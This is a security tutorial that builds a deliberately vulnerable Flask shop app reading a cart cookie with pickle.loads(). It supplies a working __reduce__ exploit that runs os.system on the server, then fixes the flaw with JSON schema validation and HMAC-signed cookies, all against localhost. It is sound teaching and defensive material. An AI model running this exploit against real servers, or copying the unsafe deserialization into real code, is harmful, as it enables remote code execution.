A shopping cart cookie that looks like random base64 is an easy thing to overlook in a code review. But if a Flask app decodes that cookie with pickle.loads(), anyone who can set a cookie can run arbitrary code on your server — no SQL injection, no XSS, just a single line of "convenient" deserialization. This article builds that vulnerable app, crafts a working exploit with __reduce__, and then fixes it properly with JSON schema validation and HMAC-signed cookies. Along the way we’ll cover what OWASP A08:2025 (Software or Data Integrity Failures) actually covers now that supply-chain risk has its own category.

You’ll need Python 3.9+, Flask, and a willingness to run everything against 127.0.0.1 only — this is local-lab material, not something to point at a production host.

Why pickle is dangerous for untrusted input

Python’s pickle module serializes objects into a byte stream and reconstructs them later. The catch is in how reconstruction works: a pickle stream isn’t just data, it’s a small stack-based program for the pickle virtual machine. One of its opcodes, REDUCE, tells the unpickler "call this callable with these arguments" — and the callable can be anything importable, including os.system, subprocess.Popen, or eval.

Any Python object can hook into pickling by defining __reduce__, which normally exists so pickle knows how to rebuild custom objects. An attacker doesn’t need access to your code to abuse this — they just need to control the bytes you hand to pickle.loads(). The official Python docs put it plainly: "The pickle module is not secure. Only unpickle data you trust."

In practice, pickle.loads() on attacker-controlled input shows up in:

OWASP A08:2025: what’s actually in scope now

OWASP A08:2025 is titled Software or Data Integrity Failures — note the "or," changed from "and" in the 2021 edition. That’s not a copy-edit; it reflects a real scope narrowing. According to the current OWASP Top 10 documentation, A08:2025 is "focused on the failure to maintain trust boundaries and verify the integrity of software, code, and data artifacts at a lower level than Software Supply Chain Failures."

In other words: broad supply-chain risks — compromised build pipelines, malicious dependencies, unsigned packages pulled from a public registry — now live under A03:2025 (Software Supply Chain Failures). A08:2025 is narrower and lower-level: it’s about whether your application verifies the integrity of the software, code, and data it consumes at runtime. Insecure deserialization of untrusted data — the pickle RCE in this article — is squarely an A08 problem, not a supply-chain one, because the trust failure happens inside your own code’s assumptions about the bytes it just received, not in how a dependency got onto your build server.

The category’s published statistics make the point that this is a meaningfully-sized, well-understood risk class, not a rare edge case:

Metric Value
CWEs mapped to A08:2025 14
Max incidence rate 8.98%
Average coverage 45.49%
Total occurrences 501,327

(Source: OWASP Top 10 2025 — A08 Software or Data Integrity Failures)

Insecure deserialization (CWE-502) is one of those 14 mapped CWEs, alongside issues like missing integrity checks on auto-update mechanisms and unsigned/unverified critical data.

Step 1: build the vulnerable Flask app

The scenario: a tiny shop app stores the visitor’s cart as a base64-encoded pickle in a cookie, and reads it back with pickle.loads() on every request. This is a realistic — if simplified — stand-in for any app that trusts serialized state round-tripped through the client.

# vulnerable/app.py
import base64
import pickle

from flask import Flask, make_response, request

app = Flask(__name__)

DEFAULT_CART = {"items": ["coffee"], "total": 4.50}


def encode_cart(cart: dict) -> str:
    return base64.b64encode(pickle.dumps(cart)).decode("ascii")


def decode_cart(blob: str) -> dict:
    # VULNERABLE: pickle.loads() on attacker-controlled bytes executes
    # arbitrary code via __reduce__ during unpickling.
    return pickle.loads(base64.b64decode(blob))


@app.route("/")
def index():
    blob = request.cookies.get("cart")
    cart = decode_cart(blob) if blob else DEFAULT_CART
    resp = make_response(f"<h1>Pickle Shop (vulnerable)</h1><p>Cart: {cart}</p>")
    resp.set_cookie("cart", encode_cart(cart))
    return resp


if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=False)

Run it:

python vulnerable/app.py

A normal request works exactly like you’d expect — the server sets a cart cookie and happily reads it back on the next visit:

curl -s -i http://127.0.0.1:5000/
HTTP/1.1 200 OK
Set-Cookie: cart=gASVKgAAAAAAAAB9lCiMBWl0ZW1zlF2UjAZjb2ZmZWWUYYwFdG90YWyUR0ASAAAAAAAAdS4=; Path=/

<h1>Pickle Shop (vulnerable)</h1><p>Cart: {'items': ['coffee'], 'total': 4.5}</p>...

That cookie value is just base64(pickle.dumps(cart)). Nothing stops a client from sending a different base64-encoded pickle stream instead.

Step 2: craft the malicious pickle payload

pickle.dumps() will happily serialize any object, including one that defines __reduce__ to return a callable and its arguments. When the resulting bytes are unpickled, pickle calls that callable — on the machine doing the unpickling, which in this case is the Flask server.

# exploit.py
import base64
import os
import pickle

import requests

TARGET = "http://127.0.0.1:5000/"
MARKER = "pwned.txt"


class Exploit:
    def __reduce__(self):
        # Runs during unpickling, on the SERVER, not here.
        cmd = f'echo "pwned by pickle RCE lab" > "{MARKER}"'
        return (os.system, (cmd,))


payload = base64.b64encode(pickle.dumps(Exploit())).decode("ascii")
resp = requests.get(TARGET, cookies={"cart": payload}, timeout=5)
print(f"Server responded: HTTP {resp.status_code}")

__reduce__ returns a 2-tuple: (callable, args_tuple). Pickle serializes that instruction, and pickle.loads() on the server executes it as os.system('echo "pwned..." > "pwned.txt"') — no eval, no injected SQL, just the unpickler doing exactly what the pickle protocol tells it to do.

Running it against the live vulnerable app:

python exploit.py

Exploit script output: malicious pickle cookie sent to the vulnerable app, server responds HTTP 200, marker file pwned.txt confirms RCE with contents "pwned by pickle RCE lab"

The server returned a normal HTTP 200 — from the outside, nothing looked wrong. But on disk, pwned.txt now exists with content written by a shell command that was never in the application’s code. That’s remote code execution via a single deserialization call, achieved with a cookie value an attacker can craft entirely offline, with no access to the server’s source.

In a real engagement, os.system() would be swapped for a reverse shell, a subprocess.Popen spawning a listener, or a payload that reads environment variables and exfiltrates them — the mechanism is identical, only the command changes.

Step 3: fix it — JSON + schema validation, plus signing

The fix has two independent layers, and it’s worth understanding why both matter rather than picking one.

Layer 1 — stop using pickle for untrusted data. json.loads() can only ever produce dict, list, str, number, bool, or None. There is no opcode in the JSON grammar that calls a function. Switching serialization formats removes the entire class of attack, not just this one payload.

JSON alone isn’t enough on its own, though — a client could still submit a JSON cart with 10,000 items, a negative total, or unexpected fields. That’s what schema validation is for:

# fixed/app.py (excerpt)
from jsonschema import validate

CART_SCHEMA = {
    "type": "object",
    "properties": {
        "items": {
            "type": "array",
            "items": {"type": "string", "maxLength": 100},
            "maxItems": 50,
        },
        "total": {"type": "number", "minimum": 0},
    },
    "required": ["items", "total"],
    "additionalProperties": False,
}

jsonschema.validate() rejects anything that doesn’t match this shape — wrong types, extra fields, oversized arrays — before the data ever reaches application logic. (A pydantic BaseModel is a common alternative if you want validation tied to typed Python objects instead of a schema dict.)

Layer 2 — sign the cookie. Schema validation stops malformed data, but it doesn’t stop a well-formed, correctly-shaped cookie that the client fabricated from scratch (e.g., setting total to 0 after adding expensive items). For anything where you need to trust that your server wrote the value, sign it with an HMAC so tampering is detectable before the content is even parsed. Flask’s own dependency itsdangerous does this in a couple of lines:

# fixed/app.py (excerpt)
import os
from itsdangerous import BadSignature, URLSafeSerializer

SECRET_KEY = os.environ.get("CART_SECRET_KEY", "lab-placeholder-secret-key")
serializer = URLSafeSerializer(SECRET_KEY, salt="cart-cookie")

def decode_cart(blob: str) -> dict:
    data = serializer.loads(blob)          # raises BadSignature if tampered
    validate(instance=data, schema=CART_SCHEMA)  # raises ValidationError if malformed
    return data

URLSafeSerializer stores the payload as base64(json) + "." + hmac_signature. Any modification to the JSON part invalidates the signature, and serializer.loads() raises BadSignature — before jsonschema or application code ever sees untrusted structure. The schema check still runs afterward as defense in depth, in case the signing key ever leaks or a future code change removes the signature check by accident.

In production, load SECRET_KEY from an environment variable or secrets manager, generate it with something like secrets.token_hex(32), and never commit it — the value used here is a placeholder for the lab only.

Step 4: prove the fix works

Re-run the exact same malicious pickle cookie from Step 2 against the fixed app, listening on port 5001:

# exploit_fixed.py (excerpt)
resp = requests.get("http://127.0.0.1:5001/", cookies={"cart": payload}, timeout=5)
python exploit_fixed.py

Exploit script re-sending the same malicious pickle cookie at the fixed app: server responds HTTP 200 with "Cookie signature invalid — rejected (possible tampering)", confirming no marker file was written

The pickle bytes aren’t valid itsdangerous-signed JSON, so serializer.loads() raises BadSignature immediately — pickle.loads() isn’t even in the code path anymore. No marker file, no code execution. The same view, rendered in a browser:

Browser view of the fixed app showing the cookie signature rejection message for the same malicious payload

To see the second layer independently, sign a well-formed-looking but invalid payload with the app’s own (lab-only) key and send that instead:

from itsdangerous import URLSafeSerializer
s = URLSafeSerializer("lab-placeholder-secret-key", salt="cart-cookie")
cookie = s.dumps({"items": ["x"], "total": "not-a-number", "extra": "nope"})
curl -s --cookie "cart=$COOKIE" http://127.0.0.1:5001/
<p style='color:red'>Cookie failed schema validation — rejected: Additional properties are not allowed ('extra' was unexpected)</p>

Even with a correctly-computed signature, the schema check catches the wrong type on total and the unexpected extra field. Two independent checks, two independent failure modes caught.

Other mitigations worth knowing

Key takeaways

References

Lab: download and run it

Download the lab (zip)

What’s inside:

rce-pickle-lab/
├── vulnerable/app.py      # pickle.loads() on the cart cookie — vulnerable
├── fixed/app.py           # JSON + jsonschema + HMAC-signed cookie — fixed
├── exploit.py              # builds the malicious pickle, proves RCE on :5000
├── exploit_fixed.py         # replays it at :5001, proves it's rejected
├── requirements.txt
├── run_vulnerable.sh / .bat
├── run_fixed.sh / .bat
└── README.md

To run it:

  1. Unzip the archive, then cd rce-pickle-lab.
  2. Install dependencies: python -m venv venv && source venv/bin/activate (Windows: venv\Scripts\activate), then pip install -r requirements.txt.
  3. Start the vulnerable app in one terminal: ./run_vulnerable.sh (Windows: run_vulnerable.bat). It listens on 127.0.0.1:5000.
  4. In a second terminal, run python exploit.py. You should see RCE confirmed and a pwned.txt file appear in the lab folder.
  5. Stop the vulnerable app (Ctrl+C), delete pwned.txt, then start the fixed app: ./run_fixed.sh (Windows: run_fixed.bat). It listens on 127.0.0.1:5001.
  6. Run python exploit_fixed.py — you should see Confirmed: no marker file written. The fixed app rejected the payload.
  7. Stop the fixed app with Ctrl+C. Both apps listen on 127.0.0.1 only, with no real secrets — safe to leave running locally during the exercise and simple to tear down afterward.